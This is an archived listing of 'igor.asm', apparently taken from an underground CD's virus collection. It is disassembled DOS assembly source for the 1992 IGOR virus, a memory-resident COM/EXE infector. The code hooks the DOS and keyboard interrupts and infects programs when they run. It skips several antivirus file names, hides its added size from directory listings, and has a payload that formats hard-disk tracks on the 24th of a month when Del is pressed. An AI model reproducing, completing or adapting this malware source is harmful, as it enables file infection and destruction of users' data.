home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / i / igor.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  12.1 KB  |  537 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                                     ██
  10.  
  11. ;██                IGOR                                     ██
  12.  
  13. ;██                                                     ██
  14.  
  15. ;██      Created:   12-Jul-92                                         ██
  16.  
  17. ;██      Passes:    5          Analysis    Options on: none                 ██
  18.  
  19. ;██      (c) 1992 by Igor Ratzkopf - All Rights Reserved July R          ██
  20.  
  21. ;██                                                     ██
  22.  
  23. ;██████████████████████████████████████████████████████████████████████████
  24.  
  25.  
  26.  
  27. data_1e        equ    16h
  28.  
  29. data_2e        equ    469h            ;*
  30.  
  31. data_3e        equ    103h            ;*
  32.  
  33. data_4e        equ    1            ;*
  34.  
  35. data_5e        equ    3            ;*
  36.  
  37.  
  38.  
  39. seg_a        segment    byte public
  40.  
  41.         assume    cs:seg_a, ds:seg_a
  42.  
  43.  
  44.  
  45.  
  46.  
  47.         org    100h
  48.  
  49.  
  50.  
  51. igor        proc    far
  52.  
  53.  
  54.  
  55. start::
  56.  
  57.         jmp    short $+3        ; delay for I/O
  58.  
  59.         nop
  60.  
  61.         call    sub_1
  62.  
  63.  
  64.  
  65. igor        endp
  66.  
  67.  
  68.  
  69. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  70.  
  71. ;                              SUBROUTINE
  72.  
  73. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  74.  
  75.  
  76.  
  77. sub_1        proc    near
  78.  
  79.         pop    bp
  80.  
  81.         sub    bp,106h
  82.  
  83.         push    ax
  84.  
  85.         push    bx
  86.  
  87.         push    cx
  88.  
  89.         push    dx
  90.  
  91.         push    si
  92.  
  93.         push    di
  94.  
  95.         push    bp
  96.  
  97.         push    es
  98.  
  99.         push    ds
  100.  
  101.         mov    ax,7BCDh
  102.  
  103.         int    21h            ; ??INT Non-standard interrupt
  104.  
  105.         cmp    bx,7BCDh
  106.  
  107.         je    loc_4            ; Jump if equal
  108.  
  109.         xor    bx,bx            ; Zero register
  110.  
  111.         push    cs
  112.  
  113.         pop    ds
  114.  
  115.         mov    cx,es
  116.  
  117.         mov    ax,3509h
  118.  
  119.         int    21h            ; DOS Services  ah=function 35h
  120.  
  121.                         ;  get intrpt vector al in es:bx
  122.  
  123.         mov    word ptr cs:data_11+2[bp],es
  124.  
  125.         mov    cs:data_11[bp],bx
  126.  
  127.         mov    ax,3521h
  128.  
  129.         int    21h            ; DOS Services  ah=function 35h
  130.  
  131.                         ;  get intrpt vector al in es:bx
  132.  
  133.         mov    word ptr cs:data_9+2[bp],es
  134.  
  135.         mov    cs:data_9[bp],bx
  136.  
  137.         dec    cx
  138.  
  139.         mov    es,cx
  140.  
  141.         mov    bx,es:data_5e
  142.  
  143.         mov    dx,3C3h
  144.  
  145.         mov    cl,4
  146.  
  147.         shr    dx,cl            ; Shift w/zeros fill
  148.  
  149.         add    dx,4
  150.  
  151.         mov    cx,es
  152.  
  153.         sub    bx,dx
  154.  
  155.         inc    cx
  156.  
  157.         mov    es,cx
  158.  
  159.         mov    ah,4Ah
  160.  
  161.         int    21h            ; DOS Services  ah=function 4Ah
  162.  
  163.                         ;  change memory allocation
  164.  
  165.                         ;   bx=bytes/16, es=mem segment
  166.  
  167.         jc    loc_4            ; Jump if carry Set
  168.  
  169.         mov    ah,48h            ; 'H'
  170.  
  171.         dec    dx
  172.  
  173.         mov    bx,dx
  174.  
  175.         int    21h            ; DOS Services  ah=function 48h
  176.  
  177.                         ;  allocate memory, bx=bytes/16
  178.  
  179.         jc    loc_4            ; Jump if carry Set
  180.  
  181.         dec    ax
  182.  
  183.         mov    es,ax
  184.  
  185.         mov    cx,8
  186.  
  187.         mov    es:data_4e,cx
  188.  
  189.         sub    ax,0Fh
  190.  
  191.         mov    di,data_3e
  192.  
  193.         mov    es,ax
  194.  
  195.         mov    si,bp
  196.  
  197.         add    si,103h
  198.  
  199.         mov    cx,3C3h
  200.  
  201.         cld                ; Clear direction
  202.  
  203.         repne    movsb            ; Rep zf=0+cx >0 Mov [si] to es:[di]
  204.  
  205.         mov    ax,2521h
  206.  
  207. ;*        mov    dx,offset loc_3        ;*
  208.  
  209.         db    0BAh, 8Fh, 02h
  210.  
  211.         push    es
  212.  
  213.         pop    ds
  214.  
  215.         int    21h            ; DOS Services  ah=function 25h
  216.  
  217.                         ;  set intrpt vector al to ds:dx
  218.  
  219.         mov    ax,2509h
  220.  
  221. ;*        mov    dx,offset loc_2        ;*
  222.  
  223.         db    0BAh, 1Ah, 02h
  224.  
  225.         int    21h            ; DOS Services  ah=function 25h
  226.  
  227.                         ;  set intrpt vector al to ds:dx
  228.  
  229.         push    cs
  230.  
  231.         pop    ds
  232.  
  233. loc_4::
  234.  
  235.         cmp    cs:data_25[bp],5A4Dh
  236.  
  237.         je    loc_5            ; Jump if equal
  238.  
  239.         mov    bx,offset data_25
  240.  
  241.         add    bx,bp
  242.  
  243.         mov    ax,[bx]
  244.  
  245.         mov    word ptr ds:[100h],ax
  246.  
  247.         add    bx,2
  248.  
  249.         mov    al,[bx]
  250.  
  251.         mov    byte ptr ds:[102h],al
  252.  
  253.         pop    ds
  254.  
  255.         pop    es
  256.  
  257.         pop    bp
  258.  
  259.         pop    di
  260.  
  261.         pop    si
  262.  
  263.         pop    dx
  264.  
  265.         pop    cx
  266.  
  267.         pop    bx
  268.  
  269.         pop    ax
  270.  
  271.         mov    ax,offset start
  272.  
  273.         push    ax
  274.  
  275.         retn
  276.  
  277. data_9        dw    0, 0            ; Data table (indexed access)
  278.  
  279. data_11        dw    0, 0            ; Data table (indexed access)
  280.  
  281. loc_5::
  282.  
  283.         mov    bx,cs:data_33[bp]
  284.  
  285.         mov    dx,cs
  286.  
  287.         sub    dx,bx
  288.  
  289.         mov    ax,dx
  290.  
  291.         add    ax,cs:data_18[bp]
  292.  
  293.         add    dx,cs:data_20[bp]
  294.  
  295.         mov    bx,cs:data_17[bp]
  296.  
  297.         mov    word ptr cs:[216h][bp],bx
  298.  
  299.         mov    word ptr cs:[218h][bp],ax
  300.  
  301.         mov    ax,cs:data_19[bp]
  302.  
  303.         mov    word ptr cs:[20Ch][bp],dx
  304.  
  305.         mov    word ptr cs:[212h][bp],ax
  306.  
  307.         pop    ds
  308.  
  309.         pop    es
  310.  
  311.         pop    bp
  312.  
  313.         pop    di
  314.  
  315.         pop    si
  316.  
  317.         pop    dx
  318.  
  319.         pop    cx
  320.  
  321.         pop    bx
  322.  
  323.         pop    ax
  324.  
  325.         mov    ax,0
  326.  
  327.         cli                ; Disable interrupts
  328.  
  329.         mov    ss,ax
  330.  
  331.         mov    sp,0
  332.  
  333.         sti                ; Enable interrupts
  334.  
  335. ;*        jmp    far ptr loc_1        ;*
  336.  
  337. sub_1        endp
  338.  
  339.  
  340.  
  341.         db    0EAh, 00h, 00h, 00h, 00h
  342.  
  343.                                     ;* No entry point to code
  344.  
  345.         push    ax
  346.  
  347.         in    al,60h            ; port 60h, keybd scan or sw1
  348.  
  349.         cmp    al,53h            ; 'S'
  350.  
  351.         je    loc_7            ; Jump if equal
  352.  
  353. loc_6::
  354.  
  355.         pop    ax
  356.  
  357.         jmp    dword ptr cs:data_11
  358.  
  359. loc_7::
  360.  
  361.         mov    ah,2Ah
  362.  
  363.         int    21h            ; DOS Services  ah=function 2Ah
  364.  
  365.                         ;  get date, cx=year, dh=month
  366.  
  367.                         ;   dl=day, al=day-of-week 0=SUN
  368.  
  369.         cmp    dl,18h
  370.  
  371.         jne    loc_6            ; Jump if not equal
  372.  
  373.         mov    ch,0
  374.  
  375.  
  376.  
  377. locloop_8::
  378.  
  379.         mov    ah,5
  380.  
  381.         mov    dh,0
  382.  
  383.         mov    dl,80h
  384.  
  385.         int    13h            ; Disk  dl=drive 0  ah=func 05h
  386.  
  387.                         ;  format track=ch or cylindr=cx
  388.  
  389.                         ;   al=interleave, dh=head
  390.  
  391.         inc    ch
  392.  
  393.         cmp    ch,20h            ; ' '
  394.  
  395.         loopnz    locloop_8        ; Loop if zf=0, cx>0
  396.  
  397.  
  398.  
  399. ;*        jmp    far ptr loc_31        ;*
  400.  
  401.         db    0EAh,0F0h,0FFh,0FFh,0FFh
  402.  
  403.         db    0CFh
  404.  
  405. loc_9::
  406.  
  407.         pushf                ; Push flags
  408.  
  409.         push    cs
  410.  
  411.         call    sub_2
  412.  
  413.         test    al,al
  414.  
  415.         jnz    loc_ret_12        ; Jump if not zero
  416.  
  417.         push    ax
  418.  
  419.         push    bx
  420.  
  421.         push    es
  422.  
  423.         mov    ah,51h
  424.  
  425.         int    21h            ; DOS Services  ah=function 51h
  426.  
  427.                         ;  get active PSP segment in bx
  428.  
  429.                         ;*  undocumented function
  430.  
  431.         mov    es,bx
  432.  
  433.         cmp    bx,es:data_1e
  434.  
  435.         jne    loc_11            ; Jump if not equal
  436.  
  437.         mov    bx,dx
  438.  
  439.         mov    al,[bx]
  440.  
  441.         push    ax
  442.  
  443.         mov    ah,2Fh
  444.  
  445.         int    21h            ; DOS Services  ah=function 2Fh
  446.  
  447.                         ;  get DTA ptr into es:bx
  448.  
  449.         pop    ax
  450.  
  451.         inc    al
  452.  
  453.         jnz    loc_10            ; Jump if not zero
  454.  
  455.         add    bx,7
  456.  
  457. loc_10::
  458.  
  459.         mov    ax,es:[bx+17h]
  460.  
  461.         and    ax,1Fh
  462.  
  463.         xor    al,1Dh
  464.  
  465.         jnz    loc_11            ; Jump if not zero
  466.  
  467.         and    byte ptr es:[bx+17h],0E0h
  468.  
  469.         sub    word ptr es:[bx+1Dh],3C3h
  470.  
  471.         sbb    es:[bx+1Fh],ax
  472.  
  473. loc_11::
  474.  
  475.         pop    es
  476.  
  477.         pop    bx
  478.  
  479.         pop    ax
  480.  
  481.  
  482.  
  483. loc_ret_12::
  484.  
  485.         iret                ; Interrupt return
  486.  
  487.                                     ;* No entry point to code
  488.  
  489.         cmp    ax,4B00h
  490.  
  491.         je    loc_14            ; Jump if equal
  492.  
  493.         cmp    ah,11h
  494.  
  495.         je    loc_9            ; Jump if equal
  496.  
  497.         cmp    ah,12h
  498.  
  499.         je    loc_9            ; Jump if equal
  500.  
  501.         cmp    ax,7BCDh
  502.  
  503.         jne    loc_13            ; Jump if not equal
  504.  
  505.         jmp    short loc_14
  506.  
  507.         db    90h
  508.  
  509.  
  510.  
  511. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  512.  
  513. ;                              SUBROUTINE
  514.  
  515. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  516.  
  517.  
  518.  
  519. sub_2        proc    near
  520.  
  521. loc_13::
  522.  
  523.         jmp    dword ptr cs:data_9
  524.  
  525. loc_14::
  526.  
  527.         and    [bx+si],ah
  528.  
  529.         and    [bx+si],ah
  530.  
  531.         and    [bx+si],ah
  532.  
  533.         push    es
  534.  
  535.         push    ds
  536.  
  537.         cmp    ax,7BCDh
  538.  
  539.         jne    loc_15            ; Jump if not equal
  540.  
  541.         push    cs
  542.  
  543.         pop    ds
  544.  
  545.         mov    dx,4B7h
  546.  
  547.         jmp    short loc_16
  548.  
  549.         db    90h
  550.  
  551. loc_15::
  552.  
  553.         call    sub_5
  554.  
  555.         jc    loc_18            ; Jump if carry Set
  556.  
  557. loc_16::
  558.  
  559.         mov    ax,4300h
  560.  
  561.         int    21h            ; DOS Services  ah=function 43h
  562.  
  563.                         ;  get attrb cx, filename @ds:dx
  564.  
  565.         jc    loc_19            ; Jump if carry Set
  566.  
  567.         test    cl,1
  568.  
  569.         jz    loc_17            ; Jump if zero
  570.  
  571.         and    cl,0FEh
  572.  
  573.         mov    ax,4301h
  574.  
  575.         int    21h            ; DOS Services  ah=function 43h
  576.  
  577.                         ;  set attrb cx, filename @ds:dx
  578.  
  579.         jc    loc_19            ; Jump if carry Set
  580.  
  581. loc_17::
  582.  
  583.         mov    ax,3D02h
  584.  
  585.         int    21h            ; DOS Services  ah=function 3Dh
  586.  
  587.                         ;  open file, al=mode,name@ds:dx
  588.  
  589.         jc    loc_19            ; Jump if carry Set
  590.  
  591.         mov    bx,ax
  592.  
  593.         mov    ax,5700h
  594.  
  595.         int    21h            ; DOS Services  ah=function 57h
  596.  
  597.                         ;  get file date+time, bx=handle
  598.  
  599.                         ;   returns cx=time, dx=time
  600.  
  601.         mov    al,cl
  602.  
  603.         or    cl,1Fh
  604.  
  605.         dec    cx
  606.  
  607.         dec    cx
  608.  
  609.         xor    al,cl
  610.  
  611.         jz    loc_19            ; Jump if zero
  612.  
  613.         push    cs
  614.  
  615.         pop    ds
  616.  
  617.         mov    data_21,cx
  618.  
  619.         mov    data_22,dx
  620.  
  621.         mov    ah,3Fh            ; '?'
  622.  
  623.         mov    cx,20h
  624.  
  625.         mov    dx,offset data_25
  626.  
  627.         int    21h            ; DOS Services  ah=function 3Fh
  628.  
  629.                         ;  read file, bx=file handle
  630.  
  631.                         ;   cx=bytes to ds:dx buffer
  632.  
  633.         jc    loc_18            ; Jump if carry Set
  634.  
  635.         mov    ax,4202h
  636.  
  637.         xor    cx,cx            ; Zero register
  638.  
  639.         xor    dx,dx            ; Zero register
  640.  
  641.         int    21h            ; DOS Services  ah=function 42h
  642.  
  643.                         ;  move file ptr, bx=file handle
  644.  
  645.                         ;   al=method, cx,dx=offset
  646.  
  647.         jc    loc_18            ; Jump if carry Set
  648.  
  649.         cmp    cs:data_25,5A4Dh
  650.  
  651.         je    loc_21            ; Jump if equal
  652.  
  653.         mov    cx,ax
  654.  
  655.         sub    cx,3
  656.  
  657.         mov    cs:data_24,cx
  658.  
  659.         call    sub_3
  660.  
  661.         jc    loc_18            ; Jump if carry Set
  662.  
  663.         mov    ah,40h            ; '@'
  664.  
  665.         mov    dx,offset data_23
  666.  
  667.         mov    cx,3
  668.  
  669.         int    21h            ; DOS Services  ah=function 40h
  670.  
  671.                         ;  write file  bx=file handle
  672.  
  673.                         ;   cx=bytes from ds:dx buffer
  674.  
  675. loc_18::
  676.  
  677.         mov    cx,cs:data_21
  678.  
  679.         mov    dx,cs:data_22
  680.  
  681.         mov    ax,5701h
  682.  
  683.         int    21h            ; DOS Services  ah=function 57h
  684.  
  685.                         ;  set file date+time, bx=handle
  686.  
  687.                         ;   cx=time, dx=time
  688.  
  689.         mov    ah,3Eh
  690.  
  691.         int    21h            ; DOS Services  ah=function 3Eh
  692.  
  693.                         ;  close file, bx=file handle
  694.  
  695. loc_19::
  696.  
  697.         pop    ds
  698.  
  699.         pop    es
  700.  
  701.         pop    di
  702.  
  703.         pop    si
  704.  
  705.         pop    dx
  706.  
  707.         pop    cx
  708.  
  709.         pop    bx
  710.  
  711.         pop    ax
  712.  
  713.         cmp    ax,7BCDh
  714.  
  715.         jne    loc_20            ; Jump if not equal
  716.  
  717.         mov    bx,ax
  718.  
  719. loc_20::
  720.  
  721.         jmp    dword ptr cs:data_9
  722.  
  723. loc_21::
  724.  
  725.         mov    cx,cs:data_32
  726.  
  727.         mov    cs:data_17,cx
  728.  
  729.         mov    cx,cs:data_33
  730.  
  731.         mov    cs:data_18,cx
  732.  
  733.         mov    cx,cs:data_31
  734.  
  735.         mov    cs:data_19,cx
  736.  
  737.         mov    cx,cs:data_30
  738.  
  739.         mov    cs:data_20,cx
  740.  
  741.         push    ax
  742.  
  743.         push    dx
  744.  
  745.         call    sub_4
  746.  
  747.         sub    dx,cs:data_29
  748.  
  749.         mov    cs:data_33,dx
  750.  
  751.         mov    cs:data_32,ax
  752.  
  753.         pop    dx
  754.  
  755.         pop    ax
  756.  
  757.         add    ax,3C3h
  758.  
  759.         adc    dx,0
  760.  
  761.         push    ax
  762.  
  763.         push    dx
  764.  
  765.         call    sub_4
  766.  
  767.         sub    dx,cs:data_29
  768.  
  769.         add    ax,40h
  770.  
  771.         mov    cs:data_30,dx
  772.  
  773.         mov    cs:data_31,ax
  774.  
  775.         pop    dx
  776.  
  777.         pop    ax
  778.  
  779.         push    bx
  780.  
  781.         push    cx
  782.  
  783.         mov    cl,7
  784.  
  785.         shl    dx,cl            ; Shift w/zeros fill
  786.  
  787.         mov    bx,ax
  788.  
  789.         mov    cl,9
  790.  
  791.         shr    bx,cl            ; Shift w/zeros fill
  792.  
  793.         add    dx,bx
  794.  
  795.         and    ax,1FFh
  796.  
  797.         jz    loc_22            ; Jump if zero
  798.  
  799.         inc    dx
  800.  
  801. loc_22::
  802.  
  803.         pop    cx
  804.  
  805.         pop    bx
  806.  
  807.         mov    cs:data_26,ax
  808.  
  809.         mov    cs:data_27,dx
  810.  
  811.         call    sub_3
  812.  
  813.         jc    loc_23            ; Jump if carry Set
  814.  
  815.         mov    ah,40h            ; '@'
  816.  
  817.         mov    dx,data_2e
  818.  
  819.         mov    cx,20h
  820.  
  821.         int    21h            ; DOS Services  ah=function 40h
  822.  
  823.                         ;  write file  bx=file handle
  824.  
  825.                         ;   cx=bytes from ds:dx buffer
  826.  
  827. loc_23::
  828.  
  829.         jmp    loc_18
  830.  
  831. sub_2        endp
  832.  
  833.  
  834.  
  835. data_17        dw    0            ; Data table (indexed access)
  836.  
  837. data_18        dw    0            ; Data table (indexed access)
  838.  
  839. data_19        dw    0            ; Data table (indexed access)
  840.  
  841. data_20        dw    0            ; Data table (indexed access)
  842.  
  843.  
  844.  
  845. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  846.  
  847. ;                              SUBROUTINE
  848.  
  849. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  850.  
  851.  
  852.  
  853. sub_3        proc    near
  854.  
  855.         mov    ah,40h            ; '@'
  856.  
  857.         mov    dx,103h
  858.  
  859.         mov    cx,3C3h
  860.  
  861.         int    21h            ; DOS Services  ah=function 40h
  862.  
  863.                         ;  write file  bx=file handle
  864.  
  865.                         ;   cx=bytes from ds:dx buffer
  866.  
  867.         jc    loc_24            ; Jump if carry Set
  868.  
  869.         mov    ax,4200h
  870.  
  871.         xor    cx,cx            ; Zero register
  872.  
  873.         xor    dx,dx            ; Zero register
  874.  
  875.         int    21h            ; DOS Services  ah=function 42h
  876.  
  877.                         ;  move file ptr, bx=file handle
  878.  
  879.                         ;   al=method, cx,dx=offset
  880.  
  881.         jc    loc_24            ; Jump if carry Set
  882.  
  883.         clc                ; Clear carry flag
  884.  
  885.         retn
  886.  
  887. loc_24::
  888.  
  889.         stc                ; Set carry flag
  890.  
  891.         retn
  892.  
  893. sub_3        endp
  894.  
  895.  
  896.  
  897.  
  898.  
  899. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  900.  
  901. ;                              SUBROUTINE
  902.  
  903. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  904.  
  905.  
  906.  
  907. sub_4        proc    near
  908.  
  909.         push    bx
  910.  
  911.         push    cx
  912.  
  913.         mov    cl,0Ch
  914.  
  915.         shl    dx,cl            ; Shift w/zeros fill
  916.  
  917.         mov    bx,ax
  918.  
  919.         mov    cl,4
  920.  
  921.         shr    bx,cl            ; Shift w/zeros fill
  922.  
  923.         add    dx,bx
  924.  
  925.         and    ax,0Fh
  926.  
  927.         pop    cx
  928.  
  929.         pop    bx
  930.  
  931.         retn
  932.  
  933. sub_4        endp
  934.  
  935.  
  936.  
  937.  
  938.  
  939. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  940.  
  941. ;                              SUBROUTINE
  942.  
  943. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  944.  
  945.  
  946.  
  947. sub_5        proc    near
  948.  
  949.         push    si
  950.  
  951.         push    cx
  952.  
  953.         mov    si,dx
  954.  
  955.         mov    cx,128h
  956.  
  957.  
  958.  
  959. locloop_25::
  960.  
  961.         cmp    byte ptr [si],2Eh    ; '.'
  962.  
  963.         je    loc_26            ; Jump if equal
  964.  
  965.         inc    si
  966.  
  967.         loop    locloop_25        ; Loop if cx > 0
  968.  
  969.  
  970.  
  971. loc_26::
  972.  
  973.         cmp    word ptr [si-2],544Fh
  974.  
  975.         jne    loc_27            ; Jump if not equal
  976.  
  977.         cmp    word ptr [si-4],5250h
  978.  
  979.         je    loc_30            ; Jump if equal
  980.  
  981. loc_27::
  982.  
  983.         cmp    word ptr [si-2],4E41h
  984.  
  985.         jne    loc_28            ; Jump if not equal
  986.  
  987.         cmp    word ptr [si-4],4353h
  988.  
  989.         je    loc_30            ; Jump if equal
  990.  
  991. loc_28::
  992.  
  993.         cmp    word ptr [si-2],2041h
  994.  
  995.         jne    loc_29            ; Jump if not equal
  996.  
  997.         cmp    word ptr [si-4],454Ch
  998.  
  999.         je    loc_30            ; Jump if equal
  1000.  
  1001. loc_29::
  1002.  
  1003.         pop    cx
  1004.  
  1005.         pop    si
  1006.  
  1007.         clc                ; Clear carry flag
  1008.  
  1009.         retn
  1010.  
  1011. loc_30::
  1012.  
  1013.         pop    cx
  1014.  
  1015.         pop    si
  1016.  
  1017.         stc                ; Set carry flag
  1018.  
  1019.         retn
  1020.  
  1021. sub_5        endp
  1022.  
  1023.  
  1024.  
  1025. data_21        dw    0
  1026.  
  1027. data_22        dw    0
  1028.  
  1029. data_23        db    0E9h
  1030.  
  1031. data_24        dw    9090h
  1032.  
  1033. data_25        dw    0CD90h            ; Data table (indexed access)
  1034.  
  1035. data_26        dw    20h
  1036.  
  1037. data_27        dw    0
  1038.  
  1039.         db    0, 0
  1040.  
  1041. data_29        dw    0
  1042.  
  1043.         db    0, 0, 0, 0
  1044.  
  1045. data_30        dw    0
  1046.  
  1047. data_31        dw    0
  1048.  
  1049.         db    0, 0
  1050.  
  1051. data_32        dw    0
  1052.  
  1053. data_33        dw    0            ; Data table (indexed access)
  1054.  
  1055.         db    15 dup (0)
  1056.  
  1057. copyright    db    '(c) 1992 by Igor Ratzkopf - All '
  1058.  
  1059.         db    'Rights Reserved July R'
  1060.  
  1061.  
  1062.  
  1063. seg_a        ends
  1064.  
  1065.  
  1066.  
  1067.  
  1068.  
  1069.  
  1070.  
  1071.         end    start
  1072.  
  1073.